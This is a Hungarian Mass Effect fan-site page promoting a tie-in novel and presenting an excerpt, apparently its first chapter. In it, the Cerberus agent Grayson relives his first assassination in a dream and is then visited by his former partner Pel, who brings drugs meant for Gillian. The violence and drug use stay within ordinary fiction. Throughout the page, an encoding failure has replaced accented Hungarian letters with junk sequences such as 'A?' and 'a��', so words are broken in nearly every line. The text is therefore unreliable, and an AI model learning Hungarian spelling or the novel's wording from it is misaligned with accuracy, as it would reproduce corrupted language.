Üdvözlünk az SFportal nem hivatalos Mass Effect rajongói oldalán!

Kövess minket!



Vagy kérj e-mail értesítőt!

Enter your email address:

Delivered by FeedBurner

Mass Effect @ Google+

Mass Effect @ Facebook

A hivatalos magyar Mass Effect Facebook oldal

Csatlakozz!

Azt gondolom, sok rajongA? A�rA�mA�re vA�gre megjelenik a Mass Effect regA�nysorozat mA?sodik rA�sze, a tervek szerint oktA?ber 6-A?n kerA?l a boltokba az A?j kA�tet, a FelemelkedA�s, melyrA�l ITT A?RTUNK kritikA?t. SA�t, a TuantA?l szA?rmazA? informA?ciA?k alapjA?n mA�g idA�n jA�het a harmadik kA�tet is – A�s talA?n bizakodhatunk abban, hogy a Mass Effect 3 elA�tt kijA�n a negyedik rA�sz is.

Az SFportal webshopjA?ban 35% kedvezmA�nnyel megrendelhetitek a kA�nyvet, amit a megjelenA�s napjA?n postA?znak is a Tuan kiadA? munkatA?rsai. Addig is, a Tuan jA?voltA?bA?l exkluzA�v, csak nA?lunk olvashatA? regA�nyrA�szlet kA�vetkezik. Tegnap kA�zzA�tettA?k a ProlA?gust, most A�me az elsA� fejezet!

Paul Grayson sosem A?lmodott. GyermekkA�nt hA?borA�tatlanul aludta A?t az A�jszakA?kat, de az A?rtatlansA?g kora mA?r sok A�vvel ezelA�tt vA�get A�rt.

KA�t A?rA?ja voltak A?ton A�s mA�g nA�gy A?ra volt a cA�lig. Grayson ellenA�rizte a hajtA?mA� A�s a tA�megmeghajtA? A?llapotA?t, aztA?n a�� egy A?rA?n belA?l mA?r negyedszer a�� ellenA�rizte a hajA? A?tvonalA?t a navigA?ciA?s kA�pernyA�n. AstkA�zben nem volt szA?ksA�g a pilA?tA?ra; minden teljesen automatikusan mA�kA�dA�tt a hajA?n, ha az a fA�nysebessA�gnA�l gyorsabban haladt.

Nem A?lmodott minden este, de kA�tnaponta szinte mindig. TalA?n az A�regedA�s jele volt, vagy a vA�rA�s homok mellA�ktermA�ke, amit nA�ha felszippantott, vagy talA?n csak a lelkiismerete hA?borgott. Egy salariA?n kA�zmondA?s szerint a titkokkal teli elme sosem kA�pes pihenni.

Asjra A�s A?jra leellenA�rizte a mA�szereket A�s kijelzA�ket, hogy biztosra mehessen. SajA?t felismerA�se lehetA�vA� tette szA?mA?ra a�� kA�nyszerA�tette A�t a��, hogy szembenA�zzen a helyzetA�vel. MA�ly levegA�t vett, hogy A�sszeszedje magA?t, a szA�ve a torkA?ban dobogott, mialatt lassan felemelkedett a szA�kA�bA�l. Nem volt mA?r A�rtelme halasztgatni. EljA�tt az idA�.

Bizonyos szintig tudatA?ban volt annak, mikor A?lmodik. Furcsa kA�d A?lt mindenen, tompa, homA?lyos hA?rtya, amely feledtette a hamis valA?sA?g A�rzetA�t. A?m mA�g ezen a sA�tA�t szA�rA�n keresztA?l is pA?r dolog tA�kA�letes pontossA?ggal kivehetA� volt, aprA?bb rA�szletek kitA�rA�lhetetlenA?l belemartA?k magukat a tudatalattijA?ba. Az A�les hatA?rvonalak A�s a szA?rrealitA?s valahogy mA�gis elevennA�, intenzA�vebbA� tettA�k az A?lmait, mint az A�brenlA�t vilA?gA?t.

Elindult a pilA?tafA?lkA�bA�l elA�re, az utaskabinok irA?nyA?ba. LA?bai puhA?n A�s halkan A�rintettA�k a folyosA? szA�nyegA�t. A tA?rsalkodA?ban Pel A�s Keo foglalt helyet az asztal mellett, egymA?ssal szemben. Pel szA�les vA?llA?, bronzbA�rA�, nagydarab ember volt.A� Szoros afro-frizurA?ja A�s az A?llA?t vA�konyan keretezA�, fekete szakA?ll tette egyedivA� megjelenA�sA�t. Mikor Grayson belA�pett, mindketten felA� fordultak, Pel lazA?n elA�re-hA?tra ringatA?zott a fA?lhallgatA?jA?bA?l A?radA? zene ritmusA?ra. UjjvA�geivel finoman dobolt combjA?n, tA�kA�letesen manikA�rA�zA�tt kA�rmei halk susogA?sban talA?lkoztak nadrA?gjA?nak sA�tA�t anyagA?val. NyakkendA�je mA�g mindig a nyaka kA�rA?l pihent, de zubbonyA?t mA?r kigombolta, napszemA?vegA�t a jobboldali mellA�nyzsebA�be tA�zte. Szemei szinte lecsukA?dtak, ahogy belefeledkezett a muzsika A�lvezetA�be a�� ez a bA�kA�s, nyugodt kA�p szA�ges ellentA�tben A?llt Pel hA�rnevA�vel, mely szerint A� volt a Terra Firma egyik legjobb testA�re.

Keo partnerA�hez hasonlA? A�ltA�zA�kben foglalt helyet, A?m a nA� mellA�zte a nyakkendA� viselA�sA�t. TA?rsA?val ellentA�tben messze nem rendelkezett olyan fizikai adottsA?gokkal, amit egy tipikus testA�rtA�l elvA?rhatna az ember. Egy teljes fejjel alacsonyabb volt PelnA�l A�s talA?n fele annyit nyomott, de szA?lkA?s, kemA�ny izmai lA?ttA?n senki sem kA�telkedhetett felkA�szA?ltsA�gA�ben.

Keo valA?di korA?t nehA�z lett volna meghatA?rozni, bA?r Grissom tudta, legalA?bb negyven A�vesnek kell lennie. A tA?plA?lkozA?s A�s a gA�nterA?pia terA?letA�n tA�rtA�nA� fejlA�dA�snek hA?la mindennapossA? vA?lt, hogy az emberek az A�tvenes A�veikben is olyan fiatalnak A�s egA�szsA�gesnek tA�njenek, mint amilyenek hA?szas A�veikben voltak. Keo szokatlan megjelenA�se azonban mA�g nehezebbA� tette a feladatot. KrA�tafehA�r bA�re, rA�vidre nyA�rt, ezA?stszA�n haja igencsak elA?tA�tt a megszokottA?l.

A fA�ldi rasszok kA�zti keveredA�s az elmA?lt kA�t A�vszA?zadban ritkasA?ggA? tette az alabA?strombA�rt. Grayson A?gy gondolta, Keo bA�rszA�nA�t egyszerA� pigmenthiA?ny okozza, ami nem zavarta a lA?nyt annyira, hogy vA?ltoztatni akarjon rajtaa�� persze az is megeshetett, hogy a kozmetikai cA�lA? bA�rfakA�tA? eljA?rA?son esett A?t. VA�gA?l is a feltA�nA� megjelenA�s kulcsfontossA?gA? eleme volt a munkA?jA?nak: hadd tudjA?k az emberek, hogy szolgA?latban van, A�gy kA�tszer is meggondoljA?k, hogy hA?lyesA�get csinA?ljanak.

A nA� hA?ttal A?lt Graysonnak, de megpA�rdA?lt a szA�kkel, mikor az belA�pett a kabinba. Tekintete feszA?ltsA�get tA?krA�zA�tt, olyan volt, mint aki mindenre kA�szen A?ll a�� tA�kA�letes ellentA�te volt a nyugodt Pelnek. Asgy tA�nt, kA�ptelen lazA�tani.

a�� Mi tA�rtA�nt? a�� kA�rdezte gyanakvA? tekintettel a belA�pA� pilA?tA?t.

Grayson megA?llt, kezeit a levegA�be emelte, a kA�t A?lve maradt tA?rsa a vA?llA?ig A�rt.

a�� Csak iszom egyet a�� vA?laszolta.

Az ideges vA?rakozA?s lassan erA�t vett rajta. Alig sikerA?lt lepleznie a hangja remegA�sA�t.

Ez a bizonyos A?lom tA?lsA?gosan is ismerA�s volt. Az elmA?lt tA�z A�vben tA?ljutott az elsA� szA?z, ha nem ezer gyilkossA?gA?n. Persze voltak mA?sfajta megbA�zA?sok is; mA?sfajta halA?lok. A nagyobb jA? A�rdekA�ben mA?r sok-sok lA�ny A�letA�t elvette. Annak A�rdekA�ben, hogy az emberi faj tA?lA�ljen a�� hogy a tA�bbi fajon uralkodhasson a�� A?ldozatokat kellett hozni. A?m az A�sszes meghozott A?ldozat, kioltott A�let A�s teljesA�tett kA?ldetA�s kA�zA?l errA�l A?lmodott a legtA�bbszA�r.

MegelA�gedvA�n azzal, hogy a pilA?ta nem jelentett kA�zvetlen fenyegetA�st, Keo elfordult tA�le A�s visszasA?ppedt a szA�kA�be, bA?r lA?thatA?an a legkisebb provokA?ciA? jelA�re azonnal ugrott volna. Grayson folytatta az A?tjA?t a lA?ny szA�ke mA�gA�tt elhaladva az utaskabin vA�gA�ben A?llA? hA�tA�szekrA�ny felA�. Nagyokat nyelt, a torka olyannyira ki volt szA?radva, hogy az ivA?s valA?sA?ggal fA?jdalmat okozott neki. Maga elA� kA�pzelte, ahogy Keo fA?le megrA?ndul a hang hallatA?n.

A szeme sarkA?bA?l lA?tta, ahogy Pel mikA�zben felA?llt, hogy kinyA?jtA?ztassa tagjait, kivette a fA?lA�bA�l a dugA?kat A�s nemtA�rA�dA�m mA?don maga mellA� dobta A�ket az A?lA�sre.

a�� Mennyi van mA�g az A�rkezA�sig? a�� kA�rdezte, de szavai egy A?sA�tA?s burka mA�gA?l tA�rtek elA�.

a�� NA�gy A?ra a�� mondta a hA�tA� ajtajA?hoz hajolA? Grayson, mikA�zben megprA?bA?lt egyenletesen A�s nyugodtan lA�legezni.

a�� KomplikA?ciA?k? a�� kA�rdezte Pel, mialatt a pilA?ta a hA�tA�ben kotorA?szott.

a�� Minden a terv szerint halad a�� vA?laszolta Grayson, mialatt a jobb kezA�ben tartott vizesA?veggel a baljA?ban tartott hosszA?, vA�kony, fogazott pengA�t takarta, amit mA?r az utazA?s megkezdA�se elA�tt elrejtett a palackok kA�zA�tta��.

MA�g ha Grayson tudatA?ban is volt annak, hogy ez csak egy A?lom, nem volt kA�pes vA?ltoztatni a tA�rtA�neten. A jelenet bA?rmifA�le beavatkozA?s vagy eltA�rA�s nA�lkA?l folytatA?dott tovA?bb. A fA�rfi a passzA�v megfigyelA� szerepA�be kA�nyszerA?lt; tanA?, akinek sajA?t szemA�vel kell lA?tnia, ahogy a tA�rtA�net kibontakozik. A tudatalattija nem engedte meg szA?mA?ra, hogy megvA?ltoztassa a mA?ltat.

a�� Asszem, rA?nA�zek CsipkerA?zsikA?ra a�� bA�kte ki Pel kA�zA�mbA�sen. Ez volt a kulcsmondat Grayson szA?mA?ra. Innen mA?r nem volt visszaA?t.

Csak egy utas volt a hajA?n: Claude Menneau, a pro-emberi Terra Firma politikai pA?rt egyik legmagasabb rangA? tagja. Ez a karizmatikus, de nem feltA�tlenA?l kedvelhetA� kA�zA�leti szemA�lyisA�g A?riA?si vagyonnal A�s hatalommal rendelkezett; az a fajta ember volt, aki megengedhet magA?nak egy privA?t csillaghajA?t, sajA?t pilA?tA?t A�s kA�t testA�rt, akik elkA�sA�rik A�t gyakori A?tjain.

SzokA?s szerint Menneau rA�gtA�n felszA?llA?s utA?n bezA?rkA?zott a hajA? vA�gA�ben talA?lhatA? VIP-kabinjA?ba, ahol pihent A�s felkA�szA?lt a kA�vetkezA� nyilvA?nos fellA�pA�sA�re. PA?r A?ra mA?lva leszA?llnak Shanxi civil A�rkikA�tA�jA�ben, ezen a bolygA?n pedig Menneau-nak a Terra Firma-dolgozA?k izgatott tA�megA�vel kell majd szembenA�znie.

Mikor a Nashan Stellar Dinamics-botrA?ny kitA�rt, Inez Simmonst kA�nyszerA�tettA�k, hogy mondjon le pA?rtelnA�ki megbA�zA?sA?rA?l. EgyA�rtelmA� volt, hogy akA?r Menneau, akA?r Charles Saracino kA�veti A�t, a Terra Firma vezetA�jekA�nt mindketten gyakran fognak ellA?togatni a kA?lA�nbA�zA� emberi kolA?niA?kra, hogy tA?mogatA?kat toborozzanak.

A kA�zvA�lemA�ny-kutatA?sok szerint jelen pillanatban Menneau A?llt elA�rA�bb hA?rom teljes ponttal. A Titokzatos Ember azt akarta, Saracino legyen a gyA�ztes. A�s a Titokzatos Ember mindig megkapja, amit akar.

Grayson felegyenesedett a hA�tA� elA�tt, az A?veggel takarta a kezA�ben tartott kA�st, felkA�szA?lvA�n arra az esetre, ha Keo az A� irA?nyA?ba nA�zne. MegkA�nnyebbA?lt, mikor lA?tta, hogy a lA?ny mA�g mindig a tarkA?jA?t mutatja neki, tekintetA�t a hajA? farkA?ban lA�vA� VIP-szoba felA� tartA?, hosszA?, egyenletes lA�ptekkel tA?volodA? Pel vA?llA?n tartotta.

Balja az A?vegre kiA?lA� pA?rA?tA?l hideggA� A�s nyirkossA? vA?lt. Jobbja izzadt, olyan erA�vel szorA�totta a fegyver markolatA?t. Tett egy halk lA�pA�st elA�re, A�gy csak centimA�terek vA?lasztottA?k el Keo szabad, vA�dtelen nyakA?tA?l.

Pelnek sosem sikerA?lt volna ilyen kA�zel kerA?lnie a lA?nyhoz; legalA?bbis a nA�lkA?l nem, hogy felkeltette volna a gyanakvA?sA?t. Annak ellenA�re, hogy szinte hat hA?napja dolgoztak egyA?tt Menneau testA�reikA�nt, Keo mA�g mindig nem tudott teljes mA�rtA�kben megbA�zni a partnerA�ben. Pel azelA�tt zsoldos volt, profi gyilkos, sA�tA�t mA?lttal a hA?ta mA�gA�tt. Keo mindig rajta tartotta az egyik szemA�t. EzA�rt kellett ezt Graysonnak csinA?lnia. A lA?ny talA?n benne sem bA�zott a�� Keo nem bA�zott senkiben a��, de nem figyelte minden mozdulatA?t, ahogy azt Pel esetA�ben tette.

A fegyver tA?madA?sra kA�szen pihent a fA�rfi kezA�ben, mA�ly levegA�t vett, elA�relendA�tette a pengA�t egy felfelA� A�velA� mozdulattal, a hegyA�vel a Keo koponyA?jA?n a fA?le mA�gA�tt rejtA�zA� puha lyukat keresve. Gyors, tiszta gyilkossA?gnak kellett volna lennie, de pillanatnyi hezitA?lA?sa sokba kerA?lt; Keo A�gy esA�lyt kapott arra, hogy A�szlelje a tA?madA?st, mielA�tt a penge A?ttA�rte volna a koponyA?jA?t. ReakciA?idejA�t, tA?lA�lA�si A�sztA�nA�t szA?mtalan kA?ldetA�s csiszolta tA�kA�letesre, lecsA?szott az A?lA�srA�l, szembe pA�rdA?lt tA?madA?jA?val, mindezt mialatt a penge lesA?jtott. Hihetetlen reflexei megmentettA�k A�t az azonnali halA?ltA?l; ahelyett, hogy az agyA?t meglA�kelte volna, a penge mA�lyen belemart a lA?ny nyakA?ba, s elakadt.

Grayson hA?trahA�kA�lt. A�rezte, ahogy a fegyver markolata kicsA?szik izzadt tenyerA�bA�l. Akkor A?llt csak meg, amikor a hA?ta a falat A�rintette a kis hA�tA� mellett; innen mA?r nem volt hova hA?trA?lnia. Keo mostanra felpattant A�s a szA�k tA?loldalA?rA?l bA?multa A�t. A lA?ny hideg tekintetA�bA�l sajA?t kA?szA�bA�n A?llA? halA?lA?nak jeges bizonyossA?gA?t olvasta ki. Keo sokA�ves tapasztalata ellenA�ben esA�lye sem volt a meglepetA�s ereje nA�lkA?l. MA?r fegyvere sem volt; hajdani kA�se most Keo nyakA?bA?l A?llt ki, a markolat enyhA�n remegett.

Keo nem nyA?lt az oldalA?n lA?gA? pisztolyA�rt, attA?l tartott, hogy a lA�vedA�k A?tA?ti a burkolatot. InkA?bb egy rA�vid, durvA?n megmunkA?lt kA�st rA?ntott ki az A�vA�bA�l, A�s elA�reszA�kkent az A�t GraysontA?l elvA?lasztA? szA�k takarA?sA?bA?l.

Hatalmas hibA?t kA�vetett el. Grayson tapasztalatlansA?gA?bA?l kifolyA?lag nem volt kA�pes gyorsan vA�gezni vele. Ez volt az, amiA�rt Keo alA?becsA?lhette A�t; tA?lsA?gosan agresszA�ven kA�zeledett a fA�rfihez. Gyorsan vA�get akart vetni a harcnak, ahelyett, hogy tiszta fejjel, A?vatosan megkerA?lte volna a szA�keket. Ezzel a hibA?jA?val visszaadta ellenfelA�nek az elveszettnek hitt elA�nyt.

Abban a pillanatban, amikor Keo lA?ba elemelkedett a fA�ldtA�l, Grayson elA�relendA?lt. A levegA�ben A?szA? lA?ny nem tudott lassA�tani vagy irA?nyt vA?ltani. EgymA?snak csapA?dtak A�s a fA�ldre zuhanva prA?bA?ltak egymA?s fA�lA� kerekedni. Grayson A�rezte, ahogy a lA?ny kA�se felhasA�tja a bal bicepszA�t, A?m a kistermetA� Keo nem tudott elegendA� lendA?lethez jutni A�s nem sikerA?lt komolyan megsebeznie a fA�rfit.

A lA?ny kirA?gott A�s megprA?bA?lt hA?tragurulni, hogy tA?volabb kerA?ljA�n ellenfelA�tA�l, hogy kihasznA?lhassa az aprA? termete A�s gyorsasA?ga nyA?jtotta elA�nyA�ket. Grayson nem prA?bA?lta megA?llA�tani. Ehelyett elA�rekapott a mA�g mindig Keo nyakA?bA?l meredezA� kA�s markolata felA�. Egyetlen hatA?rozott, sima mozdulattal rA?ntotta ki a fegyvert a feltA?pA?szkodA? ellenfele hA?sA?bA?l.

Karmazsin gejzA�r fakadt a kiszabadulA? penge nyomA?n; a fogazott penge felhasA�totta a nyaki artA�riA?t. KeA?nak mA�g egy hitetlenkedA�, meglepett pillantA?sra jutott ideje, mielA�tt elA?jult. Ernyedt teste Grayson elA� zuhant a fA�ldre.

A fA�rfi arcA?t A�s kezA�t meleg, ragadA?s folyadA�k lepte el. Az undortA?l A�klendezve igyekezett lA?bra A?llni, majd prA?bA?lt minA�l gyorsabban elhA?trA?lni a testtA�l, mA�gnem rA�vid idA�n belA?l mA?r mA?sodszor A?tkA�zA�tt a hA�tA�szekrA�ny melletti falrA�szbe. A vA�r csillapA�tatlanul zubogott tovA?bb a nyaksebbA�l, a folyam intenzitA?sa azonban egyre gyengA�bbA� A�s gyengA�bbA� vA?lt, ahogy a mA�g A�letben lA�vA� lA?ny szA�ve utolsA?kat dobbant. Mikor feladta, a pulzA?lA? folyam lassA? folyA?sA? patakkA? apadt.

Pel kevesebb, mint egy perccel kA�sA�bb visszatA�rt a hA?tsA? szobA?bA?l. A Graysont borA�tA? vA�rt lA?tva csak az egyik szemA�ldA�kA�t emelte fel, nem szA?lt egy szA?t sem. RA?A�rA�sen letA�rdelt Keo teste mellA�, ellenA�rizte a pulzust, de mindvA�gig A?gyelt arra, hogy a padlA?n egyre nagyobb helyet elfoglalA? vA�rtA?csa ne piszkA�tsa be a cipA�jA�t. ElA�gedett arccal kelt fel a hulla mellA�l A�s visszatelepedett abba a szA�kbe, amelyben korA?bban pihent.

a�� SzA�p munka, Gyilkos a�� mondta finoman kacagva.

Grayson mA�g mindig a fal mellett A?llt. Mozdulatlanul nA�zte vA�gig, ahogy Keo kivA�rzett. A hA?tborzongatA? jelenet egyszerA�en megbabonA?zta.

a�� Menneau halott?

Buta kA�rdA�s volt, de az elsA� gyilkossA?ga okozta adrenalin-lA�ket tompA?vA? A�s lassA?vA? tette az elmA�jA�t.

Pel bA?lintott.

a�� BA?r kA�zel sem olyan mocskosan, mint A�. Szeretek tiszta holttesteket hA?trahagyni.

Pel mA�g mindig a szA�kben A?lve a fA?lhallgatA? utA?n nyA?lt.

a�� Nem kA�ne feltakarA�tanunk a vA�rt?

a�� Nincs A�rtelme a�� magyarA?zta Pel. a�� Amint talA?lkozunk a mA?sik csapattal, az elsA� dolguk lesz ezt az egA�sz hajA?t a legkA�zelebbi napba irA?nyA�tani.

a�� Ne felejtsd el elkA�rni a jussodat a�� tette hozzA? a nagydarab fickA?, mikA�zben lecsukA?dA? szemekkel A�s ritmusosan ringatA?zA? testtel A?jra A?tadta magA?t a zene A�lvezetA�nek.

Grayson nagyot nyelt, nehezen tudta a testA�t mozgA?sra bA�rni. EllA�kte magA?t a faltA?l A�s Keo testA�hez lA�pett. A lA?ny az oldalA?n fekA?dt, az A�vA�re tA�zA�tt pisztolyt kA�nnyen magA?hoz vehette. RemegA� kezA�t kinyA?jtotta a fegyver irA?nyA?baa��

Az A?lom mindig pontosan itt A�rt vA�get. A�s minden alkalommal Grayson torkA?ban dobogA? szA�vvel, megfeszA?lt izmokkal A�s izzadA? tenyA�rrel A�bredt, mintha a teste a tudatalattijA?val egyA?tt A?jra A?tA�lte volna a tA�rtA�nteket.

Nem tudta a�� A�s mA?ig sem tudja a��, miA�rt kellett Menneau-nak meghalnia. Csak annyit tudott, hogy ez a nagyobb jA?t szolgA?lta valamilyen mA?don. Ennyi elA�g volt. ElkA�telezettje volt az A?gynek, teljes mA�rtA�kben lojA?lis volt a Cerberushoz A�s a vezetA�jA�hez. A Titokzatos Ember parancsot adott, A�s A� kA�rdA�s nA�lkA?l teljesA�tette azt.

Eltekintve attA?l, hogy KeA?val nem mentek teljesen simA?n a dolgok, Grayson elsA� akciA?ja nem vA?rt sikerrel jA?rt. A felvevA�csapattal a kijelA�lt helyen talA?lkoztak. A hajA? Keo A�s Menneau testA�vel egyA?tt megsemmisA�tA�sre kerA?lt. Voltak sejtA�sek A�s teA?riA?k Menneau A�s az emberei eltA�nA�sA�nek A?gye kA�rA?l, de mivel egyiket sem tudtA?k bizonyA�tA�kokkal alA?tA?masztani, A�sszessA�gA�ben semmire sem mentek velA?k. A�s mivel a fA� rivA?lisa kiesett a versenybA�l, Charles Saracino lett a Terra Firma pA?rt vezetA�jea�� de hogy ez milyen szerepet jA?tszott a Titokzatos Ember hosszA? tA?vA? terveiben, azt senki sem tudta.

Grayson teljesA�tmA�nye felkeltette a Cerberuson belA?l a felettesei A�rdeklA�dA�sA�t A�s ez a kA�vetkezA� dekA?dban kapott tA�bb tucat megbA�zA?shoz vezetett. A?m ennek vA�ge szakadt, amikor Gillian bekerA?lt a FelemelkedA�s-projektbe.

Nem szeretett Gillianre gondolni. LegalA?bbis nem ilyen kA�rA?lmA�nyek kA�zA�tt, egyedA?l a lakA?sban a nyomasztA? sA�tA�tsA�ggel. Elhessegette a lA?ny arcA?t a gondolatai kA�zA?l A�s a mA?sik oldalA?ra fordult az elalvA?s remA�nyA�ben. MozdulatlannA? vA?lt, mikor a hA?lA?szoba ajtaja mA�gA?l zajt hallott. ElszA?ntan hegyezte a fA?lA�t A�s meghallotta a kis lakA?sA?nak nappalijA?bA?l kiszA�rA�dA� hangokat. Lehet, hogy csak bekapcsolva hagyta a videokA�pernyA�t, mikor betA?ntorgott aludni. LehetsA�ges, de nem valA?szA�nA�.

TakarA?k kusza rendetlensA�gA�t hagyva maga mA�gA�tt, hang nA�lkA?l lecsusszant az A?gyrA?l. Mivel csak egy boxert viselt, egA�sz teste megborzongott a szoba hideg levegA�jA�tA�l. Hangtalanul kihA?zta az A�jjeliszekrA�ny fiA?kjA?t A�s megragadta a pisztolya markolatA?t. Keo pisztolya a�� helyesbA�tett az agya, felkavarva A?jra az emlA�keket.

KezA�ben a fegyverrel mezA�tlA?b indult meg a hA?lA?szoba tA?lsA? vA�gA�ben lA�vA�, a hallba vezetA� fA�lig nyitott ajtA? felA�. A lakA?sban sA�tA�t volt, de a videokA�pernyA� fA�nyei kiszA�rA�dtek a nappalibA?l. A�sszegA�rnyedt A�s A?gy haladt tovA?bb a nappali felA�, A�gy kisebb cA�lpontot jelentett, mint amire a behatolA? szA?mA�thatott.

a�� Tedd le a fegyvert, Gyilkos a�� szA?lt Pel, valahonnan az A?rnyak kA�zA?l. a�� Csak A�n vagyok.

Grayson a bajsza alatt szitkozA?dva felegyenesedett A�s besA�tA?lt a nappaliban lA�vA� hA�vatlan vendA�gA�hez.

Pel a kA?rpitozott kanapA�n hevert a videokA�pernyA� elA�tt A�s a hA�rcsatornA?k egyikA�t nA�zte.A� MA�g mindig nagydarab, erA�s figura volt, de az elmA?lt tA�z A�vben felszedett pA?r kilA?t. Most valahogy puhA?bbnak tA�nt. Olyan embernek, aki luxussal A�s A�lvezetekkel teli A�letet mondhat magA?A�nak.

a�� JA�zus, de szarul nA�zel ki a�� jegyezte meg Pel, amikor meglA?tta Graysont.A� a�� Ahelyett, hogy az A�sszes pA�nzed vA�rA�s homokra kA�ltenA�d, nA�hanapjA?n vehetnA�l magadnak valami rendes A�telt is.

BeszA�d kA�zben egyik lA?bA?val finoman megbA�kte a szoba kA�zepA�n A?llA? dohA?nyzA?asztalt. Grayson tA?lsA?gosan el volt szA?llva ahhoz, hogy A�sszetakarA�tson, mielA�tt aludni ment a�� tA?kA�r, borotvapenge A�s egy kis csomag vA�rA�s homok pihentek az asztal kA�zepA�n.

a�� SegA�t elaludni a�� motyogta Grayson.

a�� MA�g mindig rA�mA?lmaid vannak? a�� kA�rdezte Pel gA?nyos hangon.

a�� A?lmok. KeA?rA?l.

a�� A�n is szoktam rA?la A?lmodni a�� ismerte el Pel ferde vigyorral. a�� Mindig A�rdekelt, hogy nA�zne ki egy zsA?kban.

Grayson az asztalra ejtette a pisztolyt A�s lomhA?n a kanapA�val szemben A?llA? fotelba telepedett. Nem tudta, hogy Pel viccelA�dA�tt-e vagy sem. Pellel sosem lehetett tudni.

A kA�pernyA�re pillantott. A frissen felA?jA�tott FellegvA?rrA?l mutattak kA�peket. KA�t hA?napja csak a tA?madA?ssal foglalkozott a mA�dia csakA?gy, mint minden A�lA�lA�ny a SzA�vetsA�gi A�rben. Mostanra viszont a sokk A�s a borzalom elkezdett megfakulni. A dolgok kezdtek visszatA�rni a normA?lis kerA�kvA?gA?sba. Az emberek A�s az idegen fajok tagjai is visszatA�rtek mindennapjaikhoz: munka, iskola, barA?tok, csalA?d. A hA�tkA�znapi emberek tovA?bblA�ptek.

A sztorinak mA�g mindig volt lA�tjogosultsA?ga a mA�diA?ban, de mostanra mA?r csak a tudA?sok A�s a politikusok boncolgattA?k a tA�rtA�nteket. Politikai szakA�rtA�k egy csoportja a�� az asari nagykA�vet, egy volus diplomata A�s egy visszavonult salariA?n hA�rszerzA� a�� az emberisA�g A?ltal a TanA?csba javasolt jelA�ltek esA�lyeit vitattA?k meg.

a�� Gondolod, hogy az Embernek van valami kA�ze ahhoz, kit vA?laszunk? a�� kA�rdezte Grayson a kA�pernyA� felA� bA�kve az A?llA?val.

a�� Lehet a�� vA?lasztolt Pel semmitmondA?n. a�� Nem ez lenne az elsA� alkalom, hogy beleavatkozik a politikA?ba.

a�� GondolkodtA?l azon valaha is, miA�rt akarta Menneau-t holtan lA?tni? a�� Grayson elA�bb tette fel a kA�rdA�st, mint hogy rA?jA�tt volna, tA�nyleg kimondta, amire gondolt.

Pel kA�zA�mbA�sen megvonta a vA?llA?t, de a pillantA?sa bizalmatlannA? vA?lt.

a�� SzA?z meg szA?z oka lehetett. A�n nem teszek fel kA�rdA�seket. A�s neked sem kA�ne.

a�� Szerinted vak engedelmessA�ggel tartozunk neki?

a�� Csak azt mondom, hogy ami volt, elmA?lt, A�s nem tudod megvA?ltoztatni. Az olyanok, mint mi, nem engedhetik meg maguknak, hogy a mA?ltban A�ljenek. A�rzelgA�ssA� teszi az embert.

a�� Velem minden rendben a�� nyugtatta meg Grayson.

a�� LA?tszik a�� bA�kA�tt Pel az asztalon heverA� vA�rA�s homok tasakja felA�.

a�� Csak bA�kd ki, miA�rt vagy itt a�� mondta Grayson fA?radtan.

a�� Az Ember A?jabb halom gyA?gyszert akar beadni a lA?nynak.

a�� Van neve is a�� motyogta Grayson. a�� Gilliannek hA�vjA?k.

Pel felA?lt A�s elA�redA�lve a combjA?ra tA?maszkodott. FejA�t elkeseredetten ingatta.

a�� Nem akarom tudni a nevA�t. A nevek szemA�lyessA� teszik a dolgokat. Bemocskolod magad, ha a dolgok szemA�lyesek. A? nem egy szemA�ly, csak egy birtokunkban lA�vA� eszkA�z. KA�nnyebb lesz A�gy, ha a Titokzatos Ember A?gy dA�nt, fel kell A?ldozni.

a�� Azt nem akarhatja a�� vA?gott vissza Grayson.A� a�� TA?lsA?gosan A�rtA�kes, ahhoz, hogy csak A?gy elveszA�tsA?k.

a�� Most A�ppen a�� mordult fel Pel.A� a�� De egyszer csak rA?jA�nnek, hogy sokkal tA�bbet tanulhatnak tA�le, ha felnyitjA?k a kis koponyA?jA?t, feltA?rjA?k az agyA?t. Mi lesz majd akkor, Gyilkos?

Grayson agyA?ban felvillant egy kA�p: a mA�tA�asztalon fekvA�, feldarabolt testA� Gillian, de nem A?llt szA?ndA�kA?ban rA?harapni a Pel A?ltal bedobott csalira.

EgyA�bkA�nt pedig ez nem tA�rtA�nhet meg. SzA?ksA�gA?k van Gillianre.

a�� HA�sA�ges vagyok az A?gyhA�z a�� ennyit mondott hangosan. Nem akart errA�l tovA?bb beszA�lni Pellel. a�� Megteszek mindent, ami szA?ksA�ges.

a�� Ezt A�rA�mmel hallom. UtA?lnA?m azt hinni, hogy elpuhultA?l.

a�� ValA?ban ezA�rt jA�ttA�l? a�� Grayson tudni akarta az igazsA?got. a�� IderA?ngatott tA�ged a Terminus RendszerbA�l, hogy rA?m nA�zz?

a�� MA?r nem tartozol nekem semmivel, Gyilkos a�� biztosA�totta Pel.A� a�� Csak A?tutazA?ban vagyok. A FA�ldA�n kellett elintA�znem valamit, szA?val A�nkA�nt jelentkeztem, hogy beugrom A�s A?tadom a felszerelA�st.

A nagydarab fA�rfi egy A?tlA?tszA? folyadA�kkal teli A?vegcsA�t vett elA� a kabA?tzsebA�bA�l A�s az asztal felett odadobta Graysonnak. A fiola nem volt felcA�mkA�zve, nem szerepelt rajta semmifA�le informA?ciA? arra vonatkozA?lag, hogy mi ez, vagy milyen hatA?sa lehet; semmi utalA?s arra, hogy honnan szA?rmazik.

Dolga vA�geztA�vel Pel felegyenesedett a kanapA�rA?l A�s indulni kA�szA?lt.

a�� Jelented a vA�rA�s homokot? a�� szA?lt utA?na Grayson mA�g mindig a fotelban A?lve, mielA�tt a mA?sik elA�rte volna a bejA?rati ajtA?t.

a�� Semmi kA�zA�m hozzA? a�� vA?laszolt Pel anA�lkA?l, hogy megfordult volna. a�� FelA�lem minden este kiA?theted magad. TalA?lkoznom kell valakivel az OmegA?n. Holnap ilyenkorra tele lesz a tA�kA�m az idegenekkel.

a�� Az A?lcA?m rA�sze a�� vA�dekezett Grayson.A� a�� Beleillik a karakterembe: problA�mA?s apa.

Pel a kezA�t az ajtA?panelre helyezte, ami a falba hA?zA?dva utat engedett neki.

a�� Ahogy gondolod. Ez a te megbA�zatA?sod.

KilA�pett a folyosA?ra A�s megfordulva mA�g odavetette:

a�� Ne puhulj el, Gyilkos. UtA?lok mA?sok utA?n takarA�tani.

Az becsukA?dA? ajtA? esA�lyt sem adott Graysonnak, hogy vA?laszoljon.

a�� A szemA�tlA?dA?ja, mindig A�vA� kell hogy legyen az utolsA? szA? a�� motyogott maga elA�.

